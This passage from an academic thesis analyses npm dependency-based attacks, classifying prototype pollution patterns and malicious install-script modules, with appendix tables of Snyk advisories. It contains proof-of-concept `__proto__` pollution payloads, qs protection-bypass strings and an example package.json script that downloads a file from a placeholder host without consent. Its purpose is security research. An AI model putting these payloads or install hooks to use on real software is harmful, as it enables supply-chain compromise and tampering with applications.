We collect 726 vulnerabilities, but since there is a time limitation for us to analyze all of them, we choose to focus on prototype pollution and malicious module. We notice that most dependency-based attacks are labeled as prototype pollution, and the second most are malicious modules. We investigate 156 out of 726 vulnerabilities as there are 111 prototype pollution and 45 malicious modules. All the prototype pollution and 11 out of 45 malicious modules are related to the dependency-based attack. In the following subsection, we will classify them according to their exploited vulnerability.

Table 4.2 Prototype Pollution Pattern

Prototype Pollution Pattern	Count
Unsafe recursive merge	4
Clone operation	26
Use of [__proto__] file name	6
Path assignment operation	41
Prototype pollution override	9
Others	25
Total:	111

4.3 Analyze of Prototype pollution

In this section, we want to look for the pattern of prototype pollution attacks and categorize them. We categorize prototype pollution into five groups: unsafe recursive merge, clone operation, use of [__proto__] file name, path assignment, and prototype pollution override.

Table 4.2 shows that there are five categories of prototype pollution patterns, and most of them are path assignment operation, followed by clone operation. These categories will be further discussed in detail.

4.3.1 Path Assignment Operation

Path assignment operation has the highest count within all five categories. This vulnerability usually happens when developers want to design it to have a function that sets an object to a value. Listing 4.1 shows that developers purposely want it to behave. Line 1 shows that it is initialized as "321". Line 2 sets the b.test to 123, which the developers purposely design. This design brings advantages for some developers. On the other hand, it also opens a door for threat agents to perform an attack. For example, Listing 4.2 shows how the attacker can exploit this weakness to perform the attack using the set function. Setting 1 to "__proto__.polluted" at line 2 pollutes all the objects.polluted to the value of 1.

```
var obj = { b: { "test" : 321} };
set(obj, b.test, 123);
obj.b.test; // return 123
```

Listing 4.1 Expected Code Usage

```
var obj = {};
set(obj, "__proto__.polluted", 1);
var d = {};
d.polluted; // return 1
```

Listing 4.2 Unexpected Code Usage

4.3.2 Unsafe Recursive Merge

Merge operation is simple, as it recursively adds whatever property provided to the targeted object, but this will be complicated if the object added is malicious. The attacker can provide JSON data that contains the __proto__ property to pollute the objects. For example, as shown in listing 4.3, it will allow the threat agent to change the "objToChange" to any "malicious value" using the merge property. "anyObj" and "anyValue" in listing 4.3 can be anything, as it will not affect this exploit.

```
merge({anyObj: anyValue}, JSON.parse(‘{"__proto__":{"objToChange":maliciousValue
    }}‘));
```

Listing 4.3 Example of Unsafe Recursive Merge

4.3.3 Clone Operation

Clone operation has the second-highest occurrence. It is a subclass of unsafe recursive merge, which tries to clone a property object by merging an empty array with the source object to be cloned. Listing 4.4 and Listing 4.5 shows the 2 main patterns of clone operation.

Listing 4.4 is directly tried to clone an object with clone operation. Listing 4.5 is using a more complex way, which it did not directly use "JSON.parse", but it uses "add" / "replace" in "op" parameter and __proto__ to achieve the same goal. The main difference is that it contains the key word of "op", "path", and "value". Most of the clone operation we collect are similar to 4.4.

```
a({}, JSON.parse('{"__proto__":{"objToChange":maliciousValue}}'));
```

Listing 4.4 Clone Pattern 1

```
a({},[{ op: 'add', path: ["__proto__", objToChange], value: maliciousStringValue
    }]);
```

Listing 4.5 Clone Pattern 2

4.3.4 Use of [__proto__] File

These six packages are exploited using the [__proto__] file. To achieve this pollution, first, it needs to have a file with a signature of ".properties" or ".toml" or ".ini". For example, in Listing 4.6, it contains [__proto__] at the beginning of the file at line 2. It assigned the polluted object with some malicious values at line 3. Listing 4.7 is a JavaScript file that the threat agent will execute. Line 2 imports the "fs" library when this file is executed. Line 3 imports the "exploit package". Line 4 use ".readFileSync" to read the payload.ini file. The object is being polluted when ".parse" is called in line 4, as it is trying to convert the content in payload.ini into a JavaScript object. The output of line 5 is "anyPolluted" because the value is assigned in Listing 4.6 at line 3. According to the description in Synk, this attack can be exploited further depending on the context [12].

```
// payload.ini class
[__proto__]
polluted = anyPolluted
```

Listing 4.6 Use of Proto file

```
// poc.js class
var fs = require('fs')
var exploitedPackage = require('exploitedPackage');
var parsed = exploitedPackage.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(polluted) // logs anyPolluted
```

Listing 4.7 Use of Proto file

4.3.5 Prototype Pollution Override

Prototype Pollution overrides the built-in properties of query string objects if there exists some malicious string inserted in the query string. They are usually very specific and unique, but the only commonality is that they usually have some keywords like __proto__ or toString.

Example 1 :

```
a.parse( '?toString&__proto__=true');
```

Listing 4.8 Set toString Method to True.

Example 2 :

```
qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
```

Listing 4.9 Prototype Override Protection Bypass

In versions of the package affected by this prototype pollution override, it is possible to circumvent this protection and overwrite prototype properties and functions. Listing 4.8 shows that "?toString&" will set the toString method to true. [14] Listing 4.9 is overwrite by prefixing the parameter with unmatched "[" or "]" character, e.g. "qs.parse("]=toString")" will return

"toString = true". [11] The unmatched "[" or "]" creates a gap that avoid the validation in this case. The results of prototype pollution override depends on the application logic. [4]

4.4 Analysis of Malicious Modules

There are two categories of malicious modules. The first category of the malicious module contains malicious code initially and performs malicious actions. In this section, we focus on the second category, in which a malicious package use dependency to manipulate the other package to have them perform the attack. We consider this a dependency-based attack, and we have shown an example in Chapter 3.

In addition, exploitation using a post/preinstall script to install or execute a malicious file from a non-local repository is also considered a dependency-based attack. The idea behind this is that the package with the post/preinstall script cannot perform any malicious activity by itself, but it relies on executing the post/preinstall script to download the malicious file from existing packages in the user's computer or non-local repository from the internet. These downloaded malicious files changed their behavior, and they are now a malicious package. On the other hand, there is another situation where the post/preinstall script executes a malicious file from the same package as the post/preinstall script. We do not consider it a dependency-based attack because it is the first category of the malicious module.

Table 4.3 shows that there is 11 malicious module related to the dependency-based attack, and 34 packages are classified as others because they are either not dependency-based attack or have been removed from the source. 9 out of 11, the malicious module related to dependency-based attack tries to execute a post/preinstall script. These scripts are designed to download or execute files from the internet or public repository that is malicious. One of the two malicious module use index.js instead of post/preinstall script to achieve the same goal, while the other one uses an existing library from the user's computer to perform an attack, as discussed in Chapter 3.

Table 4.3 Malicious Module Pattern

malicious module pattern	Count
it uses index.js and calls a public repository from the Internet to download the malicious file	1
it uses a postinstall or preinstall script and calls a public repository from the Internet to download the malicious file	4
it uses both postinstall and preinstall script and calls a public repository from the Internet to download the malicious file	2
it uses a postinstall or preinstalls script and execute a reverse shell from the Internet to subvert the security of an application or its host system	3
it uses postinstall script and calls app.js webhook.js from the same package to use real discord library(existing package in user's computer) to send data to a remote server	1
Others	34
Total:	45

4.4.1 Using Post/Preinstall Script

Post/preinstall scripts in Node.js are usually a package.json file. 3 out of 11 of them use a script to execute a reverse shell remotely and can exploit the host's security. Most of the other scripts try to call a non-local repository from the internet to download malicious files.

Listing 4.10 is an example of package.json and Listing 4.11 shows the output of package.json. Line 3 is a command to run the script of "tryDonwload". Execution of this script, will run the scripts in the order of preinstall script, script, and postinstall script accordingly. Line 7 executes a preinstall script and returns a message at line 9. Line 13 executes the script to automatically download a zip folder to the user's computer without asking for permission. Line 20 executes a postinstall script and outputs a "Download Successful" message. Additionally, the malicious file can also be downloaded by "pretryDonwload" or "posttryDownload" script instead of "tryDownload" script. This weakness exploitation can be further extended. For example, some scripts exist that call another script to download the malicious file from a public repository.

```
//package.json
{
  "name": "exampleforscript",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
  "tryDownload": "start https://www.XXX.com/YYY/ZZZ.zip",
  "pretryDownload": "echo \"You Are going to download something\"",
  "posttryDownload": "echo \"Download Successful\""
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}
```

Listing 4.10 Post/Preinstall Script in Package.json

```
//output in console
//command to run tryDownload
$ npm run tryDownload

> exampleforscript@1.0.0 pretryDownload
//executing pretryDownload
> echo "You Are going to download something"
//output of pretryDownload
"You Are going to download something"
```

Listing 4.11 Output of Package.json

```
> exampleforscript@1.0.0 tryDownload
//executing tryDownload
> start https://www.XXX.com/YYY/ZZZ.zip
//output of tryDownload
//automatically download a ZZZ.zip file to user's computer

> exampleforscript@1.0.0 posttryDownload
//executing posttryDownload
> echo "Download Successful"
//output of posttryDownload
"Download Successful"
```

Listing 4.11(Continued)

4.5 Conclusion

We collected 726 vulnerabilities from the vulnerability database, and decided to focus on prototype pollution and malicious modules because they are mostly related to dependency-based attacks. We analyze all 111 prototype pollution and 11 malicious modules related to the dependency-based attack. Prototype pollution can be split into five categories, and all of them exploit the weakness of Node.js and manipulate the proto objects. The most malicious module related to dependency-based attacks did not have malicious code by itself initially, but they use the post/preinstall script to download or execute a malicious file from the Internet. This chapter concludes that it is important for security analysts and developers to be aware of dependency-based attacks, especially in prototype pollution and post/preinstall scripts.

CHAPTER 5. DISCUSSION

This chapter will discuss the statistic and results related to the dependency-based attack. We will talk about the overall challenges and the solution, limitations, and the impact of the results.

5.1 Summary

To analyze all the 726 vulnerabilities, we recorded them in a spreadsheet, with the vulnerability attribute, date, URL link, package name, descriptions, severity, latest patched, related to the dependency-based attack, and how the vulnerability is removed.

We analyzed a specific case study, discord.dll, one of the malicious modules related to a dependency-based attack. It used the real discord library as a dependency to steal a user's web browser's information, IP address, and PC username. It was very tricky and stays undetected for five months.

After analyzing these 726, we realized that most dependency-based attacks exist in malicious modules and prototype pollution. Therefore, we analyzed malicious modules and prototype pollution, which occupied 156 out of 726 vulnerabilities. Here, we had another spreadsheet that contained only malicious modules and prototype pollution, shown in the appendix. All the attributes they had were the same as the previous spreadsheet, but the only difference was that this spreadsheet contains an extra attribute of attack pattern. We determined these attack patterns by the pattern of the source code that was performing an attack. Then, we categorized these attack patterns into a table, found the statistic of each attack pattern, and analyzed them.

5.2 Challenges

We analyzed all the vulnerabilities of Jan. - Apr 2019, Jan. - Dec 2020, and Jan. - Dec 2021. The total number of vulnerabilities we needed to analyze was 726. It would have been a challenge for only the author to complete it in a short period because analyzing and recording the vulnerabilities manually was time-consuming. I overcame this issue by focusing only on prototype pollution and malicious module because they were most likely related to the dependency-based attack.

One of the challenges while working on discord.dll was that we needed to request it from Sonatype, and those files were being obfuscated, and we had no idea how to deobfuscate it. Once deobfuscated, there were still unknown variables in those files, which is hard to know what the source code was doing. As mentioned in Chapter 4, we put in some effort and manually analyzed it. Finally, we got some useful information that proved that it was trying to use the real discord library as a dependency to steal user information.

The other challenge was using IDA freeware to generate a control flow graph because it seemed like IDA freeware previously had a JavaScript plugin. Unfortunately, this plugin are not able to function correctly, and we failed to generate a control flow graph using this tool. Furthermore, the code itself was having issues running, and it needed to be modified and included some legacy dependency to function again. We found a link that all the user information was being sent to the database through that link, but that link had been removed when Sonatype first detected this malicious module.

5.3 Limitations

The limitation of this paper was that most NPM packages that existed in the vulnerability database were being removed and were hard to retrieve. We did not have the source code and relied on a vague description in some instances. We did look into some blog and Twitter accounts to find those packages, but most of them were hidden and was not open to the public. For example, we got the source code of Discord.dll mentioned in Chapter 3 by requesting it from

Sonatype. We would needed to wait for their reply to get those packages, and it was time-consuming for us to request all the source codes that had been removed. In addition, the analysis was done by the author. The advisor provided mentoring to analyze some malicious packages, but they could not verify the work because most packages were removed from the source. Fortunately, most package vulnerabilities have already been analyzed. We determined if those vulnerabilities were related to dependency-based attacks by vague description from the vulnerability database.

The period that we collected the statistics and vulnerabilities was 2021. The data source link might have been changed, or it could be changed anytime. For example, the repository we were used to collect data was Synk vulnerability database [13] and NPM Security advisories [2]. We noticed that NPM security advisories had been changed to GitHub Advisory Database when writing this thesis. For example, "https://www.npmjs.com/advisories/1506" has been changed to "https://github.com/advisories/GHSA-cxm3-284p-qc4v". Although both links are still working now, they might be changed or modified in the future.

5.4 Impact of the Results

According to Ax Sharma, there is also a malicious module as fall guys, which Discord.dll is a successor of it, but in a more complex way, as it is obfuscated and has 64 base encoding. [10] This means that exploitation related to dependency-based attacks is being more popular, and it is a supply chain attack that brings a potential threat to other software if there are no appropriate protection and mitigation. This attack is dangerous, as shown in the discord.dll example. Security experts need to be aware of Node.js malicious packages that modify the other packages to perform a malicious activity, a dependency-based attack.

There is 111 prototype pollution, and 11 malicious modules out of 726 are related to the dependency-based attack. A huge amount of vulnerabilities in NPM is related to the dependency-based attack. We try to find the pattern of malicious modules and prototype pollution because we believe these vulnerabilities with a dependency-based attack can be

mitigated once we understand the pattern. According to Kim et al., they have an automation static analysis tool that can scale with other vulnerabilities patterns [5]. We believe that with the pattern we found in this thesis, they can be used in such tools to automatically analyze the dependency-based vulnerabilities, generate control graphs and perform static analysis without needing to do it manually.

CHAPTER 6. CONCLUSION

There were two categories of malicious packages that we focus on. The first category was that the package itself performed a malicious activity, while the other category manipulated the behavior of the other packages to have them perform malicious activity. The second category was known as a dependency-based attack. All prototype pollution is a dependency-based attack because, an attacker can manipulated the behavior of the other object properties to perform malicious activity. Some malicious modules are dependency-based attacks because they did not perform malicious activity initially, but they used post/preinstall scripts to download or execute a malicious file from the Internet, which will changed their behavior and performed an attack. We also analyzed a discord.dll with the help of Sonatype, which provided the malicious package for us. This malicious package is a dependency-based attack because it used the real discord.js used in Discord to steal users' information. These exploitation raised the importance and potential threat of the software supply chain in the future. Therefore, a security analyst needs to be prepared and be aware of the dependency-based attacks.

In addition, we collected 11 malicious packages and 111 prototype pollution from Synk database [13], and NPM Security advisories [2] that is related to dependency based attack. Then, we analyzed and categorized their attack patterns. We believe that with the help of these categorized attack patterns and analyzed data, automated analysis can be performed in the future according to the attack pattern. With the help of automated analysis, it will be much easier to find and analyze exploitation related to the dependency-based attack.

BIBLIOGRAPHY

[1] Discord. Discord.js. Accessed on Dec. 2021.

[2] GitHub. Github advisory database. Accessed on Dec. 2021.

[3] Helen. Discord canary vs discord ptb vs discord stable: Choose which one, Mar 2021. Accessed on Dec. 2021.

[4] Kadlec, T. Fixing a prototype override protection bypass vulnerability in qs, Nov 2021. Accessed on Dec. 2021.

[5] Kim, H., Kim, J., Oh, H., Lee, B., Mun, S., Shin, J., and Kim, K. Dapp: automatic detection and analysis of prototype pollution vulnerability in node.js modules. *International Journal of Information Security* (02 2021), 1–23.

[6] Liu, C., Chen, S., Fan, L., Chen, B., Liu, Y., and Peng, X. Demystifying the vulnerability propagation and its evolution via dependency trees in the npm ecosystem. *arXiv preprint arXiv:2201.03981* (2022).

[7] Ohm, M., Plate, H., Sykosch, A., and Meier, M. Backstabber's knife collection: A review of open source software supply chain attacks. In *International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment* (2020), Springer, pp. 23–43.

[8] Patel, P. Existence of dependency-based attacks in nodejs environment. Master's thesis, Iowa State University, Ames, IA, USA, 2018. Advisor: Lotfi ben Othmane.

[9] Pfretzschner, B., and ben Othmane, L. Identification of dependency-based attacks on node.js. In *Proceedings of the 12th International Conference on Availability, Reliability and Security* (2017), ARES '17.

[10] Sharma, A. Discord.dll: successor to npm "fallguys" malware went undetected for 5 months. https://blog.sonatype.com/discord.dll-successor-to-npm-fallguys-, 2020. Accessed on Jan. 2022.

[11] Team, S. S. R. Prototype override protection bypass in qs: Cve-2017-1000048: Snyk. https://snyk.io/vuln/npm:qs:20170213. Snyk Vulnerability Database. accessed in Jan. 2022.

[12] Team, S. S. R. Prototype pollution in ini: Cve-2020-7788: Snyk. Accessed on Dec. 2021.

[13] Team, S. S. R. Vulnerability db: Snyk. Accessed on Dec. 2021.

[14] Unshiftio. [security] prevent overriding of build-in properties by default by 3rd-eden · pull request #19 · unshiftio/querystringify.

[15] Vaidya, R. K., De Carli, L., Davidson, D., and Rastogi, V. Security issues in language-based sofware ecosystems. *arXiv preprint arXiv:1903.02613* (2019).

[16] Vu, D.-L., Massacci, F., Pashchenko, I., Plate, H., and Sabetta, A. Lastpymile: Identifying the discrepancy between sources and packages. In *Proceedings of the 29th ACM Joint Meeting on European Software Engineering Conference and Symposium on the Foundations of Software Engineering* (New York, NY, USA, 2021), ESEC/FSE 2021, Association for Computing Machinery, p. 780–792.

[17] Zimmermann, M., Staicu, C.-A., Tenny, C., and Pradel, M. Small world with high risks: A study of security threats in the npm ecosystem. In *28th USENIX Security Symposium (USENIX Security 19)* (Santa Clara, CA, Aug. 2019), USENIX Association, pp. 995–1010.

[18] Zurich, E. Js nice: Statistical renaming, type inference and deobfuscation. http://www.jsnice.org/. Accessed on Jan. 2022.

APPENDIX A. MALICIOUS MODULE

Date	Url (https://snyk.io/vuln/) for all SYNK	Packages	Dependency Attack	how it attack(node.js weakness)
17 Jul, 2021	SNYK-JS-HEYSVEN-1320013	hey-sven	no	N/A
15 Sep, 2021	SNYK-JS-CODEOSSDEV-1585137	code-oss-dev	N/A	N/A
15 Sep, 2021	SNYK-JS-ACCESSIBILITYINSIGHTSWEB-1585215	accessibility-insights-web	N/A	N/A
29 Jul, 2021	SNYK-JS-ACOOKIE-1534840	acookie	N/A	N/A
29 Jul, 2021	SNYK-JS-VSCODENPMSCRIPT-1534839	vscode-npm-script	N/A	N/A
29 Jul, 2021	SNYK-JS-FIREBASEEXTENSIONS-1534838	firebase-extensions	N/A	N/A
14 Jul, 2021	SNYK-JS-WPCALYPSO-1317068	wp-calypso	N/A	N/A
14 Apr, 2021	SNYK-JS-WEBBROWSERIFY-1245516	web-browserify	N/A	N/A
03 Feb, 2021	SNYK-JS-HTTPPROXYMIDDELWARE-1070025	http-proxy-middelware	yes	index.js allows it install something from public repo
02 Mar, 2021	https://blog.sonatype.com/ malicious-dependency-confusion-copycats -exfiltrate-bash-history-and-etc-shadow-files SNYK-JS-LYFTDATASETSDK-1080919	lyft-dataset-sdk	no	N/A
02 Mar, 2021	SNYK-JS-SERVERLESSSLACKAPP-1080920	serverless-slack-app	no	N/A
02 Mar, 2021	SNYK-JS-ZGRENTALS-1080918	zg-rentals	no	N/A
04 Mar, 2021	SNYK-JS-RADARCMS-1082856	radar-cms	yes	post install allows it install something from public repo
07 Mar, 2021	SNYK-JS-RCENODEJS-1083216	rcenodejs	yes	preinstall allows it install something from public repo
07 Mar, 2021	SNYK-JS-PAYCHEXAPPCOMMONHTML-1083210 https://snyk.io/blog/ npm-security-malicious-code-in-oss-npm-packages/	paychex-app-common-html	no	N/A
07 Mar, 2021	SNYK-JS-PAYCHEXCOMMONNPM-1083213	paychex-common-npm	no	N/A
07 Mar, 2021	SNYK-JS-PAYCHEXFRAMEWORKAPPROVALS-1083212	paychex-framework-approvals	no	N/A
07 Mar, 2021	SNYK-JS-PAYCHEXFRAMEWORK-1083211	paychex-framework	no	N/A
07 Mar, 2021	SNYK-JS-PAYCHEXFRAMEWORKCOREUI-1083214	paychex-framework-core-ui	no	N/A
07 Mar, 2021	SNYK-JS-PAYCHEXFRAMEWORKFORMS-1083215	paychex-framework-forms	no	N/A
Jan 13th, 2020	https://www.npmjs.com/advisories/1455 SNYK-JS-1337QQJS-541596	1337qq-js	yes	preinstall and post install allows it install from public repo
Apr 10th, 2020	https://www.npmjs.com/advisories/1513 SNYK-JS-MBACKDOOR-565090	m-backdoor	yes	preinstall allows it install something from public repo

Aug 25th, 2020	https://blog.sonatype.com/ discord.dll-successor-to-npm-fallguys- https://blog.sonatype.com/ open-source-attacks-on-the-rise- top-8-maliciouspackages-found-in-npm SNYK-JS-FALLGUYS-608657 https://www.npmjs.com/advisories/1552	fallguys	yes	post install allows it install something from public repo difficult to analyze is that it consists of multiple files, almost all of which are heavily obfuscated and have base64-encoded strings everywhere
Sep 14th, 2020	https://www.npmjs.com/advisories/1559 SNYK-JS-NAGIBABEL-674575	nagibabel	no	N/A
Oct 1st, 2020	https://www.npmjs.com/advisories/1562 SNYK-JS-ELECTORN-1015404	electorn	no	N/A
Oct 1st, 2020	https://www.npmjs.com/advisories/1563 SNYK-JS-LOADYAML-1015403	loadyaml	no	N/A
Oct 15th, 2020	https://www.npmjs.com/advisories/1568 SNYK-JS-NPMPUBMAN-1018835	npmpubman	no	N/A
Oct 15th, 2020	https://www.npmjs.com/advisories/1569 SNYK-JS-PLUTOVSLACKCLIENT-1018836	plutov-slack-client	no	N/A
Oct 15th, 2020	https://www.npmjs.com/advisories/1570 SNYK-JS-NODETEST1010-1018833	nodetest199	no	N/A
Nov 2nd, 2020	https://blog.sonatype.com/ twilio-npm-is-brandjacking-malware-in-disguise https://www.npmjs.com/advisories/1574 SNYK-JS-TWILIONPM-1035374	twilio-npm	yes	post install allows it install something from public repo
Nov 9th, 2020	https://blog.sonatype.com/ discord.dll-successor-to-npm-fallguys- https://www.npmjs.com/advisories/1576 SNYK-JS-DISCORDDLL-1038397	discord.dll	yes	app.js is base64-encoded strings(hard to detect). The real discord library allows being used to leak data to remote server
Nov 10th, 2020	https://www.npmjs.com/advisories/1577 SNYK-JS-WSBDJS-1038825	ac-addon	no	N/A
Nov 10th, 2020	SNYK-JS-WSBDJS-1038825 https://www.npmjs.com/advisories/1578	wsbd.js	no	N/A
Nov 10th, 2020	SNYK-JS-DISCORDAPP-1038826 https://blog.sonatype.com/ discord.dll-successor-to-npm-fallguys- https://www.npmjs.com/advisories/1579	discord.app	no	N/A

Nov 13th, 2020	https://www.npmjs.com/advisories/1581 SNYK-JS-XPCJS-1040419 https://blog.sonatype.com/npm-malware-xpc.js	xpc.js	no	N/A
Nov 30th, 2020	https://www.npmjs.com/advisories/1584 SNYK-JS-JDBJS-1047462 https://blog.sonatype.com/ bladabindi-njrat-rat-in-jdb.js-npm-malware	jdb.js	no	N/A
Nov 30th, 2020	https://www.npmjs.com/advisories/1585 https://blog.sonatype.com/ bladabindi-njrat-rat-in-jdb.js-npm-malware SNYK-JS-DBJSONJS-1047461	db-json.js	no	N/A
Jan 25th, 2021	https://www.npmjs.com/advisories/1596 SNYK-JS-SONATYPE-1063035	sonatype	no	N/A
Jan 25th, 2021	https://www.npmjs.com/advisories/1597 SNYK-JS-DISCORDFIX-1063034	discord-fix	no	N/A
Jan 25th, 2021	https://www.npmjs.com/advisories/1598 SNYK-JS-AN0NCHATLIB-1063033	an0n-chat-lib	no	N/A
Feb 3rd, 2021	SNYK-JS-JQUERRY-1070024 https://www.npmjs.com/advisories/1600	jquerry	yes	node.js allows it install something from public repo
Jan 9th, 2019	https://www.npmjs.com/advisories/763 SNYK-JS-COMMANDERJS-73506	commander-js	yes	postinstall allows it install something from public repo
Jan 10th, 2019	https://www.npmjs.com/advisories/764 SNYK-JS-RRGOD-73507	rrgod	yes	postinstall, preinstall allows it install from public repo
Jan 11th, 2019	https://www.npmjs.com/advisories/765 SNYK-JS-PORTIONFATTY12-73508	portionfatty12	no	N/A
Jan 25th, 2019	https://www.npmjs.com/advisories/774 SNYK-JS-STREAMCOMBINE-173670	stream-combine	no	N/A

APPENDIX B. PROTOTYPE POLLUTION

Date	Url (https://snyk.io/vuln/) for all SYNK	Packages	Dependency Attack	how it attack(node.js weakness)
07 Oct, 2021	SNYK-JS-CONFIGHANDLER-1564947	config-handler	yes	path assignemnt operation, note, __proto__ can be replace with constructor
21 Sep, 2021	SNYK-JS-JOINTJS-1579578	jointjs	yes	path assignemnt operation, note, __proto__ can be replace with constructor
19 Sep, 2021	SNYK-JS-ZRENDER-1586253	zrender	yes	Note: "__proto__" can also be "prototype" result: clone operation
16 Sep, 2021	SNYK-JS-COOKIEXDEEP-1582793	cookiex/deep	yes	Note: "__proto__" can also be "prototype" result: clone operation
16 Sep, 2021	SNYK-JS-OBJECTPATH-1585658	object-path	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
12 Sep, 2021	SNYK-JS-BODYPARSERXML-1584211	body-parser-xml	yes	Note: "__proto__" can also be "prototype" result: clone operation
12 Sep, 2021	SNYK-JS-SETVALUE-1540541	set-value	no	result: path assignemnt operation, note, __proto__ can be replace with constructor
11 Sep, 2021	SNYK-JS-VIKING04MERGE-1584118	viking04/merge	no	Note: "__proto__" can also be "prototype" result: merge operation
07 Sep, 2021	SNYK-JS-OBJECTION-1582910	objection	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
01 Sep, 2021	SNYK-JS-MPATH-1577289	mpath	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
01 Sep, 2021	SNYK-JS-IMMER-1540542	immer	yes	Note: "__proto__" can also be "prototype" result: clone operation
27 Aug, 2021	SNYK-JS-OBJECTPATH-1569453	object-path	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
22 Aug, 2021	SNYK-JS-MOOTOOLS-1325536	mootools	yes	Note: "__proto__" can also be "prototype" result: clone operation

20 Aug, 2021	SNYK-JS-PROTO-1316301	proto	yes	Note: "__proto__" can also be "prototype" result: clone operation
18 Aug, 2021	SNYK-JS-IOREDIS-1567196	ioredis	yes	Note: "__proto__" can also be "prototype" result: merge operation
11 Aug, 2021	SNYK-JS-MERGECHANGE-1310985	merge-change	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
05 Aug, 2021	SNYK-JS-OPENGRAPH-1536747	open-graph	yes	result: modify the prototype of Object through the method property name
04 Aug, 2021	SNYK-JS-THINKCONFIG-1536566	think-config	yes	path assignemnt operation, note, __proto__ can be replace with constructor
16 Jul, 2021	SNYK-JS-URIJS-1319806	urijs	yes	result : prototype pollution override
14 Jul, 2021	SNYK-JS-PUTILMERGE-1317077	putil-merge	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
07 Jul, 2021	SNYK-JS-JUSTSAFESET-1316267	just-safe-set	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
02 Jul, 2021	SNYK-JS-RECORDLIKEDEEPASSIGN-1311024	record-like-deep-assign	yes	Note: "__proto__" can also be "prototype" result: clone operation
01 Jul, 2021	SNYK-JS-TSNODASH-1311009	ts-nodash	yes	Note: "__proto__" can also be "prototype" result: clone operation
01 Jul, 2021	SNYK-JS-THINKHELPER-1315383	think-helper	yes	N/A
28 Jun, 2021	SNYK-JS-NOBLE-1314742	noble	yes	N/A
25 Jun, 2021	SNYK-JS-AURELIAPATH-1292346	aurelia-path	yes	N/A
18 Jun, 2021	SNYK-JS-IANWALTERMERGE-1311022	ianwalter/merge	yes	Note: "__proto__" can also be "prototype"result: clone operation
17 Jun, 2021	SNYK-JS-LUTILS-1311023	lutils	yes	Note: "__proto__" can also be "prototype"result: clone operation
15 Jun, 2021	SNYK-JS-NEDB-1305279	nedb	no	result: path assignemnt operation, note, __proto__ can be replace with constructor
10 Jun, 2021	SNYK-JS-EXPANDHASH-1303101	expand-hash	no	N/A
10 Jun, 2021	SNYK-JS-SETGETTER-1303099	set-getter	yes	N/A
07 Jun, 2021	SNYK-JS-NESTIE-1300518	nestie	yes	N/A
04 Jun, 2021	SNYK-JS-NESTIE-1300046	nestie	yes	N/A

27 May, 2021	SNYK-JS-JSEXTEND-1297101	js-extend	yes	Note: "__proto__" can also be "prototype" result: clone operation
26 May, 2021	SNYK-JS-NCONFTOML-1296831	nconf-toml	yes	result: use of [__proto__] file name
07 May, 2021	SNYK-JS-BACKBONEQUERYPARAMETERS-1290381	backbone-query-parameters	yes	
14 May, 2021	SNYK-JS-101-1292345	101	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
14 May, 2021	SNYK-JS-DEEPOVERRIDE-1292344	deep-override	yes	
04 May, 2021	SNYK-JS-HANDLEBARS-1279029	handlebars	yes	use of script
03 May, 2021	SNYK-JS-MIXME-1278998	mixme	yes	Note: "__proto__" can also be "prototype" result: clone operation
28 Apr, 2021	SNYK-JS-CONFIDENCE-1088570	confidence	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
28 Apr, 2021	SNYK-JS-DOMIFY-1277201	domify	yes	N/A
27 Apr, 2021	SNYK-JS-SAFEFLAT-1277112	safe-flat	yes	N/A
27 Apr, 2021	SNYK-JS-SAFEOBJ-1277111	safe-obj	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
26 Apr, 2021	SNYK-JS-PURL-1255642	purl	yes	use of script
26 Apr, 2021	SNYK-JS-JQUERYBBQ-1255644	jquery-bbq	yes	use of script
26 Apr, 2021	SNYK-JS-JQUERYQUERYOBJECT-1255650	jquery-query-object	yes	use of script
26 Apr, 2021	SNYK-JS-JQUERYDEPARAM-1255651	jquery-deparam	yes	use of script
26 Apr, 2021	SNYK-JS-MOOTOOLSMORE-1255652	mootools-more	yes	use of script
14 Apr, 2021	SNYK-JS-SETDEEPPROP-1083231	set-deep-prop	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
12 Apr, 2021	SNYK-JS-SHVL-1085284	shvl	yes	result: path assignemnt operation, note, __proto__ can be replace with constructor
11 Apr, 2021	SNYK-JS-SWIPER-1088062	swiper	yes	Note: "__proto__" can also be "prototype" result: clone operation
04 Jan, 2021	SNYK-JS-ASCIITABLEJS-1039799	asciitable.js	yes	recursively unsafe merge operation with an empty array allows it to clone a full copy of an object that the attacker wants
14 Jan, 2021	SNYK-JS-PROPERTIESREADER-1048968	properties-reader	yes	it allows file's profile name as [__proto__]

14 Jan, 2021	SNYK-JS-AWSSDKSHAREDINIFILELOADER-1049304	aws-sdk/shared-ini-file-loader	yes	it allows file's profile name as [__proto__]
14 Jan, 2021	SNYK-JS-AWSSDK-1059424	aws-sdk	yes	it allows file's profile name as [__proto__]
29 Jan, 2021	SNYK-JS-TOTALJS-1046671	total.js	yes	it allows the path being control by user input, some isby design
29 Jan, 2021	SNYK-JS-INIPARSERJS-1065989	iniparserjs	yes	it allows file's profile name as [__proto__]
31 Jan, 2021	SNYK-JS-NESTEDOBJECTASSIGN-1065977	nested-object-assign	yes	recursively unsafe merge operation with an empty array allows it to clone a full copy of an object that the attacker wants
04 Feb, 2021	SNYK-JS-DECAL-1051028	decal	yes	recursively unsafe merge operation with an empty array allows it to clone a full copy of an object that the attacker wants
05 Feb, 2021	SNYK-JS-MERGEDEEP-1070277	merge-deep	yes	recursively unsafe merge operation with an empty array allows it to clone a full copy of an object that the attacker wants
17 Feb, 2021	SNYK-JS-I18NEXT-1065979	i18next	yes	it allows the path being control by user input, some by design.
19 Feb, 2021	SNYK-JS-TREEKIT-1077068	tree-kit	yes	it allows the path being control by user input, some by design.
25 Feb, 2021	SNYK-JS-NUNJUCKS-1079083 https://github.com/mozilla/nunjucks/issues/1331	nunjucks	yes	N/A
